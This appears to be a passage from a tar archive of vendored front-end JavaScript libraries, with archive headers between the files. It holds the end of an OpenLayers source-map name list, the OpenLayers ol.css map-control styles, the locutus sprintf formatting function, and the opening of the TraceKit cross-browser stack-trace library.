teAnimations_","animationCallback","getInteracting","cancelAnimationFrame","more","seriesComplete","elapsed","progress","getViewportSize_","constrainedResolution","calculateCenterZoom","applyTargetState_","constrainedRotation","calculateCenterRotate","Boolean","requestAnimationFrame","currentCenter","currentResolution","opt_rotation","setViewportSize","getConstraints","getConstrainResolution","getHints","opt_hints","calculateExtent","calculateExtentInternal","getViewportSizeMinusPadding_","getZoomForResolution","setConstrainResolution","enabled","getResolutionForExtent","getResolutionForExtentInternal","getResolutionForValueFunction","opt_power","getConstrainedResolution","getValueForResolutionFunction","logPower","reducedSize","calculateCenterOn","nextCenter","nextResolution","nextRotation","nearest","baseLevel","fit","geometryOrExtent","fitInternal","rotatedExtentForGeometry","minRotX","minRotY","maxRotX","maxRotY","rotX","rotY","rotatedExtent","centerRot","getConstrainedCenter","centerOn","centerOnInternal","calculateCenterShift","centerShift","shiftedCenter","adjustCenter","deltaCoordinates","setCenter","adjustCenterInternal","adjustResolution","adjustResolutionInternal","isMoving","newResolution","adjustZoom","adjustRotation","adjustRotationInternal","newRotation","hint","opt_doNotCancelAnims","opt_forceMoving","newCenter","opt_duration","opt_resolutionDirection","beginInteraction","endInteraction","endInteractionInternal","opt_targetResolution","targetZoom","targetRes","returnValue","removeLayerMapProperty","setLayerMapProperty","PluggableMap","optionsInternal","keyboardEventTarget","controls","interactions","overlays","layerGroup","MapProperty","createOptionsInternal","renderComplete_","loaded_","boundHandleBrowserEvent_","handleBrowserEvent","maxTilesLoading_","maxTilesLoading","postRenderTimeoutHandle_","animationDelayKey_","animationDelay_","renderFrame_","coordinateToPixelTransform_","pixelToCoordinateTransform_","frameIndex_","frameState_","previousExtent_","viewPropertyListenerKey_","viewChangeListenerKey_","layerGroupPropertyListenerKeys_","viewport_","overlayContainer_","overlayContainerStopEvent_","mapBrowserEventHandler_","keyboardEventTarget_","targetChangeHandlerKeys_","overlays_","overlayIdIndex_","postRenderFunctions_","tileQueue_","getTilePriority","handleTileChange_","handleLayerGroupChanged_","handleViewChanged_","handleSizeChanged_","handleTargetChanged_","viewOptions","setView","addOverlayInternal_","control","interaction","addControl","getControls","addInteraction","getInteractions","addLayer","getLayerGroup","handleLayerAdd_","addOverlay","overlay","getOverlays","forEachFeatureAtPixel","getFeaturesAtPixel","getAllLayers","addLayersFrom","hasFeatureAtPixel","getEventCoordinate","getEventCoordinateInternal","viewportPosition","getBoundingClientRect","eventPosition","changedTouches","top","getTarget","getTargetElement","getOverlayById","group","getLoadingOrNotReady","getPixelFromCoordinate","viewCoordinate","getPixelFromCoordinateInternal","getOverlayContainer","targetElement","ownerDocument","tileCenter","browserEvent","mapBrowserEvent","handleMapBrowserEvent","rootNode","documentElement","interactionsArray","getActive","handlePostRender","hints","lowOnFrameBudget","defaultView","updateSize","handleViewPropertyChanged_","updateViewportSize_","handleLayerRemove_","isRendered","renderSync","removeControl","removeInteraction","removeLayer","removeOverlay","previousFrameState","mapId","renderTargets","nextExtent","setLayerGroup","oldLayerGroup","computedStyle","offsetWidth","parseFloat","getClientRects","Rotate","compassClassName","callResetNorth_","resetNorth","autoHide_","autoHide","resetNorth_","zoomByDelta","Interaction","setActive","active","DoubleClickZoom","delta_","stopEvent","shiftKey","PointerInteraction","handleDownEvent","handleDragEvent","handleMoveEvent","handleUpEvent","stopDown","handlingDownUpSequence","targetPointers","getPointerCount","updateTrackedPointers_","handledUp","handled","conditions","pass","altShiftKeysOnly","altKey","metaKey","ctrlKey","focusWithTabindex","hasAttribute","activeElement","always","mouseActionButton","noModifierKeys","shiftKeyOnly","targetNotEditable","tagName","isContentEditable","mouseOnly","pointerType","primaryAction","isPrimary","DragPan","kinetic_","kinetic","lastCentroid","lastPointersCount_","panning_","condition","condition_","onFocusOnly","noKinetic_","centroid","centerpx","Pointer","DragRotate","lastAngle_","RenderBox","startPixel_","endPixel_","render_","startPixel","endPixel","px","setPixels","createOrUpdateGeometry","DragBoxEvent","DragBox","box_","minArea_","minArea","onBoxEnd","boxEndCondition_","boxEndCondition","defaultBoxEndCondition","completeBox","DragZoom","out_","out","KeyboardPan","defaultCondition_","pixelDelta_","pixelDelta","keyEvent","keyCode","mapUnitsDelta","pan","KeyboardZoom","Kinetic","decay","minVelocity","delay","decay_","minVelocity_","delay_","initialVelocity_","lastIndex","firstIndex","Mode","MouseWheelZoom","totalDelta_","lastDelta_","timeout_","timeout","useAnchor_","useAnchor","constrainResolution_","lastAnchor_","startTime_","timeoutId_","mode_","trackpadEventGap_","trackpadTimeoutId_","deltaPerZoom_","endInteraction_","wheelEvent","deltaMode","WheelEvent","DOM_DELTA_PIXEL","DOM_DELTA_LINE","timeLeft","handleWheelZoom_","setMouseAnchor","PinchRotate","pointerOptions","rotating_","rotationDelta_","threshold_","threshold","rotationDelta","touch0","touch1","PinchZoom","lastDistance_","lastScaleDelta_","scaleDelta","zoomOptions","rotateOptions","attribution","attributionOptions","altShiftDragRotate","doubleClickZoom","zoomDelta","zoomDuration","dragPan","pinchRotate","pinchZoom","keyboard","mouseWheelZoom","shiftDragZoom","Composite","createStringXY","opt_fractionDigits","toStringXY","geom","Vector","fromLonLat"],"sourceRoot":""}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/openlayers/theme/ol.css����������������������������������������������������������������������0000666�����������������00000012301�15172447206�0012461 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.ol-box { box-sizing: border-box; border-radius: 2px; border: 1.5px solid rgb(179,197,219); background-color: rgba(255,255,255,0.4); } .ol-mouse-position { top: 8px; right: 8px; position: absolute; } .ol-scale-line { background: rgba(0,60,136,0.3); border-radius: 4px; bottom: 8px; left: 8px; padding: 2px; position: absolute; } .ol-scale-line-inner { border: 1px solid #eee; border-top: none; color: #eee; font-size: 10px; text-align: center; margin: 1px; will-change: contents, width; transition: all 0.25s; } .ol-scale-singlebar-even{ background-color: #000000; } .ol-scale-singlebar-odd{ background-color: #ffffff; } .ol-scale-bar { position: absolute; bottom: 8px; left: 8px; } .ol-scale-step-marker { width: 1px; height: 15px; background-color: #000000; float: right; z-index: 10; } .ol-scale-step-text { position: absolute; bottom: -5px; font-size: 12px; z-index: 11; color: #000000; text-shadow: -2px 0 #FFFFFF, 0 2px #FFFFFF, 2px 0 #FFFFFF, 0 -2px #FFFFFF; } .ol-scale-text { position: absolute; font-size: 14px; text-align: center; bottom: 25px; color: #000000; text-shadow: -2px 0 #FFFFFF, 0 2px #FFFFFF, 2px 0 #FFFFFF, 0 -2px #FFFFFF; } .ol-scale-singlebar { position: relative; height: 10px; z-index: 9; box-sizing: border-box; border: 1px solid black; } .ol-unsupported { display: none; } .ol-viewport, .ol-unselectable { -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; -webkit-tap-highlight-color: rgba(0,0,0,0); } .ol-viewport canvas { all: unset; } .ol-selectable { -webkit-touch-callout: default; -webkit-user-select: text; -moz-user-select: text; -ms-user-select: text; user-select: text; } .ol-grabbing { cursor: -webkit-grabbing; cursor: -moz-grabbing; cursor: grabbing; } .ol-grab { cursor: move; cursor: -webkit-grab; cursor: -moz-grab; cursor: grab; } .ol-control { position: absolute; background-color: rgba(255,255,255,0.4); border-radius: 4px; padding: 2px; } .ol-control:hover { background-color: rgba(255,255,255,0.6); } .ol-zoom { top: .5em; left: .5em; } .ol-rotate { top: .5em; right: .5em; transition: opacity .25s linear, visibility 0s linear; } .ol-rotate.ol-hidden { opacity: 0; visibility: hidden; transition: opacity .25s linear, visibility 0s linear .25s; } .ol-zoom-extent { top: 4.643em; left: .5em; } .ol-full-screen { right: .5em; top: .5em; } .ol-control button { display: block; margin: 1px; padding: 0; color: white; font-weight: bold; text-decoration: none; font-size: inherit; text-align: center; height: 1.375em; width: 1.375em; line-height: .4em; background-color: rgba(0,60,136,0.5); border: none; border-radius: 2px; } .ol-control button::-moz-focus-inner { border: none; padding: 0; } .ol-zoom-extent button { line-height: 1.4em; } .ol-compass { display: block; font-weight: normal; font-size: 1.2em; will-change: transform; } .ol-touch .ol-control button { font-size: 1.5em; } .ol-touch .ol-zoom-extent { top: 5.5em; } .ol-control button:hover, .ol-control button:focus { text-decoration: none; background-color: rgba(0,60,136,0.7); } .ol-zoom .ol-zoom-in { border-radius: 2px 2px 0 0; } .ol-zoom .ol-zoom-out { border-radius: 0 0 2px 2px; } .ol-attribution { text-align: right; bottom: .5em; right: .5em; max-width: calc(100% - 1.3em); display: flex; flex-flow: row-reverse; align-items: center; } .ol-attribution a { color: rgba(0,60,136,0.7); text-decoration: none; } .ol-attribution ul { margin: 0; padding: 1px .5em; color: #000; text-shadow: 0 0 2px #fff; font-size: 12px; } .ol-attribution li { display: inline; list-style: none; } .ol-attribution li:not(:last-child):after { content: " "; } .ol-attribution img { max-height: 2em; max-width: inherit; vertical-align: middle; } .ol-attribution button { flex-shrink: 0; } .ol-attribution.ol-collapsed ul { display: none; } .ol-attribution:not(.ol-collapsed) { background: rgba(255,255,255,0.8); } .ol-attribution.ol-uncollapsible { bottom: 0; right: 0; border-radius: 4px 0 0; } .ol-attribution.ol-uncollapsible img { margin-top: -.2em; max-height: 1.6em; } .ol-attribution.ol-uncollapsible button { display: none; } .ol-zoomslider { top: 4.5em; left: .5em; height: 200px; } .ol-zoomslider button { position: relative; height: 10px; } .ol-touch .ol-zoomslider { top: 5.5em; } .ol-overviewmap { left: 0.5em; bottom: 0.5em; } .ol-overviewmap.ol-uncollapsible { bottom: 0; left: 0; border-radius: 0 4px 0 0; } .ol-overviewmap .ol-overviewmap-map, .ol-overviewmap button { display: block; } .ol-overviewmap .ol-overviewmap-map { border: 1px solid #7b98bc; height: 150px; margin: 2px; width: 150px; } .ol-overviewmap:not(.ol-collapsed) button { bottom: 2px; left: 2px; position: absolute; } .ol-overviewmap.ol-collapsed .ol-overviewmap-map, .ol-overviewmap.ol-uncollapsible button { display: none; } .ol-overviewmap:not(.ol-collapsed) { background: rgba(255,255,255,0.8); } .ol-overviewmap-box { border: 2px dotted rgba(0,60,136,0.7); } .ol-overviewmap .ol-overviewmap-box:hover { cursor: move; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/sprintf.js�����������������������������������������������������������������������������������0000666�����������������00000016361�15172447206�0010107 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Copyright (c) 2007-2016 Kevin van Zonneveld (https://kvz.io) * and Contributors (https://locutus.io/authors) * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is furnished to do * so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ function sprintf () { // discuss at: https://locutus.io/php/sprintf/ // original by: Ash Searle (https://hexmen.com/blog/) // improved by: Michael White (https://getsprink.com) // improved by: Jack // improved by: Kevin van Zonneveld (https://kvz.io) // improved by: Kevin van Zonneveld (https://kvz.io) // improved by: Kevin van Zonneveld (https://kvz.io) // improved by: Dj // improved by: Allidylls // input by: Paulo Freitas // input by: Brett Zamir (https://brett-zamir.me) // improved by: Rafał Kukawski (https://kukawski.pl) // example 1: sprintf("%01.2f", 123.1) // returns 1: '123.10' // example 2: sprintf("[%10s]", 'monkey') // returns 2: '[ monkey]' // example 3: sprintf("[%'#10s]", 'monkey') // returns 3: '[####monkey]' // example 4: sprintf("%d", 123456789012345) // returns 4: '123456789012345' // example 5: sprintf('%-03s', 'E') // returns 5: 'E00' // example 6: sprintf('%+010d', 9) // returns 6: '+000000009' // example 7: sprintf('%+0\'@10d', 9) // returns 7: '@@@@@@@@+9' // example 8: sprintf('%.f', 3.14) // returns 8: '3.140000' // example 9: sprintf('%% %2$d', 1, 2) // returns 9: '% 2' var regex = /%%|%(?:(\d+)\$)?((?:[-+#0 ]|'[\s\S])*)(\d+)?(?:\.(\d*))?([\s\S])/g var args = arguments var i = 0 var format = args[i++] var _pad = function (str, len, chr, leftJustify) { if (!chr) { chr = ' ' } var padding = (str.length >= len) ? '' : new Array(1 + len - str.length >>> 0).join(chr) return leftJustify ? str + padding : padding + str } var justify = function (value, prefix, leftJustify, minWidth, padChar) { var diff = minWidth - value.length if (diff > 0) { // when padding with zeros // on the left side // keep sign (+ or -) in front if (!leftJustify && padChar === '0') { value = [ value.slice(0, prefix.length), _pad('', diff, '0', true), value.slice(prefix.length) ].join('') } else { value = _pad(value, minWidth, padChar, leftJustify) } } return value } var _formatBaseX = function (value, base, leftJustify, minWidth, precision, padChar) { // Note: casts negative numbers to positive ones var number = value >>> 0 value = _pad(number.toString(base), precision || 0, '0', false) return justify(value, '', leftJustify, minWidth, padChar) } // _formatString() var _formatString = function (value, leftJustify, minWidth, precision, customPadChar) { if (precision !== null && precision !== undefined) { value = value.slice(0, precision) } return justify(value, '', leftJustify, minWidth, customPadChar) } // doFormat() var doFormat = function (substring, argIndex, modifiers, minWidth, precision, specifier) { var number, prefix, method, textTransform, value if (substring === '%%') { return '%' } // parse modifiers var padChar = ' ' // pad with spaces by default var leftJustify = false var positiveNumberPrefix = '' var j, l for (j = 0, l = modifiers.length; j < l; j++) { switch (modifiers.charAt(j)) { case ' ': case '0': padChar = modifiers.charAt(j) break case '+': positiveNumberPrefix = '+' break case '-': leftJustify = true break case "'": if (j + 1 < l) { padChar = modifiers.charAt(j + 1) j++ } break } } if (!minWidth) { minWidth = 0 } else { minWidth = +minWidth } if (!isFinite(minWidth)) { throw new Error('Width must be finite') } if (!precision) { precision = (specifier === 'd') ? 0 : 'fFeE'.indexOf(specifier) > -1 ? 6 : undefined } else { precision = +precision } if (argIndex && +argIndex === 0) { throw new Error('Argument number must be greater than zero') } if (argIndex && +argIndex >= args.length) { throw new Error('Too few arguments') } value = argIndex ? args[+argIndex] : args[i++] switch (specifier) { case '%': return '%' case 's': return _formatString(value + '', leftJustify, minWidth, precision, padChar) case 'c': return _formatString(String.fromCharCode(+value), leftJustify, minWidth, precision, padChar) case 'b': return _formatBaseX(value, 2, leftJustify, minWidth, precision, padChar) case 'o': return _formatBaseX(value, 8, leftJustify, minWidth, precision, padChar) case 'x': return _formatBaseX(value, 16, leftJustify, minWidth, precision, padChar) case 'X': return _formatBaseX(value, 16, leftJustify, minWidth, precision, padChar) .toUpperCase() case 'u': return _formatBaseX(value, 10, leftJustify, minWidth, precision, padChar) case 'i': case 'd': number = +value || 0 // Plain Math.round doesn't just truncate number = Math.round(number - number % 1) prefix = number < 0 ? '-' : positiveNumberPrefix value = prefix + _pad(String(Math.abs(number)), precision, '0', false) if (leftJustify && padChar === '0') { // can't right-pad 0s on integers padChar = ' ' } return justify(value, prefix, leftJustify, minWidth, padChar) case 'e': case 'E': case 'f': // @todo: Should handle locales (as per setlocale) case 'F': case 'g': case 'G': number = +value prefix = number < 0 ? '-' : positiveNumberPrefix method = ['toExponential', 'toFixed', 'toPrecision']['efg'.indexOf(specifier.toLowerCase())] textTransform = ['toString', 'toUpperCase']['eEfFgG'.indexOf(specifier) % 2] value = prefix + Math.abs(number)[method](precision) return justify(value, prefix, leftJustify, minWidth, padChar)[textTransform]() default: // unknown specifier, consume that char and return empty return '' } } try { return format.replace(regex, doFormat) } catch (err) { return false } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/tracekit.js����������������������������������������������������������������������������������0000666�����������������00000134030�15172447206�0010222 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * https://github.com/csnover/TraceKit * @license MIT * @namespace TraceKit */ (function(window, undefined) { if (!window) { return; } var TraceKit = {}; var _oldTraceKit = window.TraceKit; // global reference to slice var _slice = [].slice; var UNKNOWN_FUNCTION = '?'; // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error#Error_types var ERROR_TYPES_RE = /^(?:[Uu]ncaught (?:exception: )?)?(?:((?:Eval|Internal|Range|Reference|Syntax|Type|URI|)Error): )?(.*)$/; /** * A better form of hasOwnProperty<br/> * Example: `_has(MainHostObject, property) === true/false` * * @param {Object} object to check property * @param {string} key to check * @return {Boolean} true if the object has the key and it is not inherited */ function _has(object, key) { return Object.prototype.hasOwnProperty.call(object, key); } /** * Returns true if the parameter is undefined<br/> * Example: `_isUndefined(val) === true/false` * * @param {*} what Value to check * @return {Boolean} true if undefined and false otherwise */ function _isUndefined(what) { return typeof what === 'undefined'; } /** * Export TraceKit out to another variable<br/> * Example: `var TK = TraceKit.noConflict()` * @return {Object} The TraceKit object * @memberof TraceKit */ TraceKit.noConflict = function noConflict() { window.TraceKit = _oldTraceKit; return TraceKit; }; /** * Wrap any function in a TraceKit reporter<br/> * Example: `func = TraceKit.wrap(func);` * * @param {Function} func Function to be wrapped * @return {Function} The wrapped func * @memberof TraceKit */ TraceKit.wrap = function traceKitWrapper(func) { function wrapped() { try { return func.apply(this, arguments); } catch (e) { TraceKit.report(e); throw e; } } return wrapped; }; /** * Cross-browser processing of unhandled exceptions * * Syntax: * ```js * TraceKit.report.subscribe(function(stackInfo) { ... }) * TraceKit.report.unsubscribe(function(stackInfo) { ... }) * TraceKit.report(exception) * try { ...code... } catch(ex) { TraceKit.report(ex); } * ``` * * Supports: * - Firefox: full stack trace with line numbers, plus column number * on top frame; column number is not guaranteed * - Opera: full stack trace with line and column numbers * - Chrome: full stack trace with line and column numbers * - Safari: line and column number for the top frame only; some frames * may be missing, and column number is not guaranteed * - IE: line and column number for the top frame only; some frames * may be missing, and column number is not guaranteed * * In theory, TraceKit should work on all of the following versions: * - IE5.5+ (only 8.0 tested) * - Firefox 0.9+ (only 3.5+ tested) * - Opera 7+ (only 10.50 tested; versions 9 and earlier may require * Exceptions Have Stacktrace to be enabled in opera:config) * - Safari 3+ (only 4+ tested) * - Chrome 1+ (only 5+ tested) * - Konqueror 3.5+ (untested) * * Requires TraceKit.computeStackTrace. * * Tries to catch all unhandled exceptions and report them to the * subscribed handlers. Please note that TraceKit.report will rethrow the * exception. This is REQUIRED in order to get a useful stack trace in IE. * If the exception does not reach the top of the browser, you will only * get a stack trace from the point where TraceKit.report was called. * * Handlers receive a TraceKit.StackTrace object as described in the * TraceKit.computeStackTrace docs. * * @memberof TraceKit * @namespace */ TraceKit.report = (function reportModuleWrapper() { var handlers = [], lastException = null, lastExceptionStack = null; /** * Add a crash handler. * @param {Function} handler * @memberof TraceKit.report */ function subscribe(handler) { installGlobalHandler(); installGlobalUnhandledRejectionHandler(); handlers.push(handler); } /** * Remove a crash handler. * @param {Function} handler * @memberof TraceKit.report */ function unsubscribe(handler) { for (var i = handlers.length - 1; i >= 0; --i) { if (handlers[i] === handler) { handlers.splice(i, 1); } } if (handlers.length === 0) { uninstallGlobalHandler(); uninstallGlobalUnhandledRejectionHandler(); } } /** * Dispatch stack information to all handlers. * @param {TraceKit.StackTrace} stack * @param {boolean} isWindowError Is this a top-level window error? * @param {Error=} error The error that's being handled (if available, null otherwise) * @memberof TraceKit.report * @throws An exception if an error occurs while calling an handler. */ function notifyHandlers(stack, isWindowError, error) { var exception = null; if (isWindowError && !TraceKit.collectWindowErrors) { return; } for (var i in handlers) { if (_has(handlers, i)) { try { handlers[i](stack, isWindowError, error); } catch (inner) { exception = inner; } } } if (exception) { throw exception; } } var _oldOnerrorHandler, _onErrorHandlerInstalled; var _oldOnunhandledrejectionHandler, _onUnhandledRejectionHandlerInstalled; /** * Ensures all global unhandled exceptions are recorded. * Supported by Gecko and IE. * @param {string} message Error message. * @param {string} url URL of script that generated the exception. * @param {(number|string)} lineNo The line number at which the error occurred. * @param {(number|string)=} columnNo The column number at which the error occurred. * @param {Error=} errorObj The actual Error object. * @memberof TraceKit.report */ function traceKitWindowOnError(message, url, lineNo, columnNo, errorObj) { var stack = null; if (lastExceptionStack) { TraceKit.computeStackTrace.augmentStackTraceWithInitialElement(lastExceptionStack, url, lineNo, message); processLastException(); } else if (errorObj) { stack = TraceKit.computeStackTrace(errorObj); notifyHandlers(stack, true, errorObj); } else { var location = { 'url': url, 'line': lineNo, 'column': columnNo }; var name; var msg = message; // must be new var or will modify original `arguments` if ({}.toString.call(message) === '[object String]') { var groups = message.match(ERROR_TYPES_RE); if (groups) { name = groups[1]; msg = groups[2]; } } location.func = TraceKit.computeStackTrace.guessFunctionName(location.url, location.line); location.context = TraceKit.computeStackTrace.gatherContext(location.url, location.line); stack = { 'name': name, 'message': msg, 'mode': 'onerror', 'stack': [location] }; notifyHandlers(stack, true, null); } if (_oldOnerrorHandler) { return _oldOnerrorHandler.apply(this, arguments); } return false; } /** * Ensures all unhandled rejections are recorded. * @param {PromiseRejectionEvent} e event. * @memberof TraceKit.report * @see https://developer.mozilla.org/en-US/docs/Web/API/WindowEventHandlers/onunhandledrejection * @see https://developer.mozilla.org/en-US/docs/Web/API/PromiseRejectionEvent */ function traceKitWindowOnUnhandledRejection(e) { var stack = TraceKit.computeStackTrace(e.reason); notifyHandlers(stack, true, e.reason); } /** * Install a global onerror handler * @memberof TraceKit.report */ function installGlobalHandler() { if (_onErrorHandlerInstalled === true) { return; } _oldOnerrorHandler = window.onerror; window.onerror = traceKitWindowOnError; _onErrorHandlerInstalled = true; } /** * Uninstall the global onerror handler * @memberof TraceKit.report */ function uninstallGlobalHandler() { if (_onErrorHandlerInstalled) { window.onerror = _oldOnerrorHandler; _onErrorHandlerInstalled = false; } } /** * Install a global onunhandledrejection handler * @memberof TraceKit.report */ function installGlobalUnhandledRejectionHandler() { if (_onUnhandledRejectionHandlerInstalled === true) { return; } _oldOnunhandledrejectionHandler = window.onunhandledrejection; window.onunhandledrejection = traceKitWindowOnUnhandledRejection; _onUnhandledRejectionHandlerInstalled = true; } /** * Uninstall the global onunhandledrejection handler * @memberof TraceKit.report */ function uninstallGlobalUnhandledRejectionHandler() { if (_onUnhandledRejectionHandlerInstalled) { window.onunhandledrejection = _oldOnunhandledrejectionHandler; _onUnhandledRejectionHandlerInstalled = false; } } /** * Process the most recent exception * @memberof TraceKit.report */ function processLastException() { var _lastExceptionStack = lastExceptionStack, _lastException = lastException; lastExceptionStack = null; lastException = null; notifyHandlers(_lastExceptionStack, false, _lastException); } /** * Reports an unhandled Error to TraceKit. * @param {Error} ex * @memberof TraceKit.report * @throws An exception if an incomplete stack trace is detected (old IE browsers). */ function report(ex) { if (lastExceptionStack) { if (lastException === ex) { return; // already caught by an inner catch block, ignore } else { processLastException(); } } var stack = TraceKit.computeStackTrace(ex); lastExceptionStack = stack; lastException = ex; // If the stack trace is incomplete, wait for 2 seconds for // slow slow IE to see if onerror occurs or not before reporting // this exception; otherwise, we will end up with an incomplete // stack trace setTimeout(function () { if (lastException === ex) { processLastException(); } }, (stack.incomplete ? 2000 : 0)); throw ex; // re-throw to propagate to the top level (and cause window.onerror) } report.subscribe = subscribe; report.unsubscribe = unsubscribe; return report; }()); /** * An object representing a single stack frame. * @typedef {Object} StackFrame * @property {string} url The JavaScript or HTML file URL. * @property {string} func The function name, or empty for anonymous functions (if guessing did not work). * @property {string[]?} args The arguments passed to the function, if known. * @property {number=} line The line number, if known. * @property {number=} column The column number, if known. * @property {string[]} context An array of source code lines; the middle element corresponds to the correct line#. * @memberof TraceKit */ /** * An object representing a JavaScript stack trace. * @typedef {Object} StackTrace * @property {string} name The name of the thrown exception. * @property {string} message The exception error message. * @property {TraceKit.StackFrame[]} stack An array of stack frames. * @property {string} mode 'stack', 'stacktrace', 'multiline', 'callers', 'onerror', or 'failed' -- method used to collect the stack trace. * @memberof TraceKit */ /** * TraceKit.computeStackTrace: cross-browser stack traces in JavaScript * * Syntax: * ```js * s = TraceKit.computeStackTrace.ofCaller([depth]) * s = TraceKit.computeStackTrace(exception) // consider using TraceKit.report instead (see below) * ``` * * Supports: * - Firefox: full stack trace with line numbers and unreliable column * number on top frame * - Opera 10: full stack trace with line and column numbers * - Opera 9-: full stack trace with line numbers * - Chrome: full stack trace with line and column numbers * - Safari: line and column number for the topmost stacktrace element * only * - IE: no line numbers whatsoever * * Tries to guess names of anonymous functions by looking for assignments * in the source code. In IE and Safari, we have to guess source file names * by searching for function bodies inside all page scripts. This will not * work for scripts that are loaded cross-domain. * Here be dragons: some function names may be guessed incorrectly, and * duplicate functions may be mismatched. * * TraceKit.computeStackTrace should only be used for tracing purposes. * Logging of unhandled exceptions should be done with TraceKit.report, * which builds on top of TraceKit.computeStackTrace and provides better * IE support by utilizing the window.onerror event to retrieve information * about the top of the stack. * * Note: In IE and Safari, no stack trace is recorded on the Error object, * so computeStackTrace instead walks its *own* chain of callers. * This means that: * * in Safari, some methods may be missing from the stack trace; * * in IE, the topmost function in the stack trace will always be the * caller of computeStackTrace. * * This is okay for tracing (because you are likely to be calling * computeStackTrace from the function you want to be the topmost element * of the stack trace anyway), but not okay for logging unhandled * exceptions (because your catch block will likely be far away from the * inner function that actually caused the exception). * * Tracing example: * ```js * function trace(message) { * var stackInfo = TraceKit.computeStackTrace.ofCaller(); * var data = message + "\n"; * for(var i in stackInfo.stack) { * var item = stackInfo.stack[i]; * data += (item.func || '[anonymous]') + "() in " + item.url + ":" + (item.line || '0') + "\n"; * } * if (window.console) * console.info(data); * else * alert(data); * } * ``` * @memberof TraceKit * @namespace */ TraceKit.computeStackTrace = (function computeStackTraceWrapper() { var debug = false, sourceCache = {}; /** * Attempts to retrieve source code via XMLHttpRequest, which is used * to look up anonymous function names. * @param {string} url URL of source code. * @return {string} Source contents. * @memberof TraceKit.computeStackTrace */ function loadSource(url) { if (!TraceKit.remoteFetching) { //Only attempt request if remoteFetching is on. return ''; } try { var getXHR = function() { try { return new window.XMLHttpRequest(); } catch (e) { // explicitly bubble up the exception if not found return new window.ActiveXObject('Microsoft.XMLHTTP'); } }; var request = getXHR(); request.open('GET', url, false); request.send(''); return request.responseText; } catch (e) { return ''; } } /** * Retrieves source code from the source code cache. * @param {string} url URL of source code. * @return {Array.<string>} Source contents. * @memberof TraceKit.computeStackTrace */ function getSource(url) { if (typeof url !== 'string') { return []; } if (!_has(sourceCache, url)) { // URL needs to be able to fetched within the acceptable domain. Otherwise, // cross-domain errors will be triggered. /* Regex matches: 0 - Full Url 1 - Protocol 2 - Domain 3 - Port (Useful for internal applications) 4 - Path */ var source = ''; var domain = ''; try { domain = window.document.domain; } catch (e) { } var match = /(.*)\:\/\/([^:\/]+)([:\d]*)\/{0,1}([\s\S]*)/.exec(url); if (match && match[2] === domain) { source = loadSource(url); } sourceCache[url] = source ? source.split('\n') : []; } return sourceCache[url]; } /** * Tries to use an externally loaded copy of source code to determine * the name of a function by looking at the name of the variable it was * assigned to, if any. * @param {string} url URL of source code. * @param {(string|number)} lineNo Line number in source code. * @return {string} The function name, if discoverable. * @memberof TraceKit.computeStackTrace */ function guessFunctionName(url, lineNo) { var reFunctionArgNames = /function ([^(]*)\(([^)]*)\)/, reGuessFunction = /['"]?([0-9A-Za-z$_]+)['"]?\s*[:=]\s*(function|eval|new Function)/, line = '', maxLines = 10, source = getSource(url), m; if (!source.length) { return UNKNOWN_FUNCTION; } // Walk backwards from the first line in the function until we find the line which // matches the pattern above, which is the function definition for (var i = 0; i < maxLines; ++i) { line = source[lineNo - i] + line; if (!_isUndefined(line)) { if ((m = reGuessFunction.exec(line))) { return m[1]; } else if ((m = reFunctionArgNames.exec(line))) { return m[1]; } } } return UNKNOWN_FUNCTION; } /** * Retrieves the surrounding lines from where an exception occurred. * @param {string} url URL of source code. * @param {(string|number)} line Line number in source code to center around for context. * @return {?Array.<string>} Lines of source code. * @memberof TraceKit.computeStackTrace */ function gatherContext(url, line) { var source = getSource(url); if (!source.length) { return null; } var context = [], // linesBefore & linesAfter are inclusive with the offending line. // if linesOfContext is even, there will be one extra line // *before* the offending line. linesBefore = Math.floor(TraceKit.linesOfContext / 2), // Add one extra line if linesOfContext is odd linesAfter = linesBefore + (TraceKit.linesOfContext % 2), start = Math.max(0, line - linesBefore - 1), end = Math.min(source.length, line + linesAfter - 1); line -= 1; // convert to 0-based index for (var i = start; i < end; ++i) { if (!_isUndefined(source[i])) { context.push(source[i]); } } return context.length > 0 ? context : null; } /** * Escapes special characters, except for whitespace, in a string to be * used inside a regular expression as a string literal. * @param {string} text The string. * @return {string} The escaped string literal. * @memberof TraceKit.computeStackTrace */ function escapeRegExp(text) { return text.replace(/[\-\[\]{}()*+?.,\\\^$|#]/g, '\\$&'); } /** * Escapes special characters in a string to be used inside a regular * expression as a string literal. Also ensures that HTML entities will * be matched the same as their literal friends. * @param {string} body The string. * @return {string} The escaped string. * @memberof TraceKit.computeStackTrace */ function escapeCodeAsRegExpForMatchingInsideHTML(body) { return escapeRegExp(body).replace('<', '(?:<|<)').replace('>', '(?:>|>)').replace('&', '(?:&|&)').replace('"', '(?:"|")').replace(/\s+/g, '\\s+'); } /** * Determines where a code fragment 